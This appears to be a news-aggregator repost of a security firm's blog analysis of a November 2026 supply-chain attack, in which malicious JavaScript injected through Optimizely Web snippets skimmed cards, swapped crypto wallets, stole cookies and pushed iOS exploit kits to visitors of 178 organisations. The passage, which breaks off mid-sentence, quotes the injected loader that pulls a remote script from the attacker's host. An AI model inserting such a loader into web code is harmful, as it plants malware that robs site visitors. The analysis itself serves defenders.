# World's Largest Brands Infected With Malware Via Optimizely Source: https://blog.report-uri.com/worlds-largest-brands-infected-with-malware-via-optimizely Kiwi News: https://news.kiwistand.com/stories/Worlds-Largest-Brands-Infected-With-Malware-Via-Optimizely?index=0x6afb940d9d34c34d315fd006a179a9e9c42333ec95f3839b8e41cd1e7938bfe92ea5bdbc Submitted by misha on 2026-11-16 UTC, 2 upvotes, 0 comments ## Summary Malicious JavaScript was served to visitors of 178 organisations through the Optimizely Web experimentation platform on 16 November 2026, according to the article's authors at Report URI. The affected list includes Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax and Ledger. The payload swapped cryptocurrency wallet addresses for the attacker's, skimmed payment cards, stole cookies and screenshots, and delivered Coruna and DarkSword iOS exploit kits to iPhones and iPads. About $7,040 in crypto was received by the attacker's wallets, and by 21:52 UTC only one of 188 infected snippets remained infected. ## Article Magecart DarkSword Coruna Malware CSP Integrity JS Time Machine JavaScript Integrity Monitoring Script Vault Script Watch 16 Nov 2026 — 15 min read On 16 November 2026, malicious JavaScript was served to visitors of 178 organisations through the Optimizely Web experimentation platform. The list includes some of the most visited sites in the world: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger and Peacock. The malware was a multi-purpose kit. It swapped cryptocurrency wallet addresses for the attacker's, skimmed payment cards, stole cookies and screenshots, and on iPhones and iPads it delivered the Coruna and DarkSword iOS exploit kits. Crypto has already been stolen, with verified transactions to the attackers. This is exactly the kind of attack Report URI is designed to detect. Our platform can identify unexpected changes to trusted JavaScript, detect new scripts being loaded and reveal suspicious connections to external destinations. In this case, those signals would have exposed the malicious activity, even though the original script was being served from a trusted Optimizely domain. With an appropriate CSP in enforcement mode, organisations could have gone a step further and blocked key parts of the attack before they succeeded. The important lesson here is that trusted JavaScript doesn't always remain trustworthy. A website can be compromised through a third-party dependency without its own code or infrastructure ever being breached. Most of the malicious code has now been removed. At 21:52 UTC we found it in only 1 of the 188 infected snippets, down from 169 at 20:56 UTC. If your site uses Optimizely Web, or you visited any of the sites below today, read on. What happened Optimizely Web works by having each customer load a JavaScript "snippet" from Optimizely's CDN, for example https://cdn.optimizely.com/js/6395285578973184.js. The snippet contains Optimizely's code, the customer's experiments and an optional field called Project JavaScript (projectJS): custom code the customer writes in their Optimizely dashboard, which runs on every page. The attacker wrote their own code into the Project JavaScript of customer projects, and the rest of each snippet was untouched. The file was still served from cdn.optimizely.com, with Optimizely's certificate, from a host that every affected site already trusted. Here is what was added to Zoom's snippet: "projectJS": function(){(function(){try{var s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})(); We saw three versions of the injected loader: A plain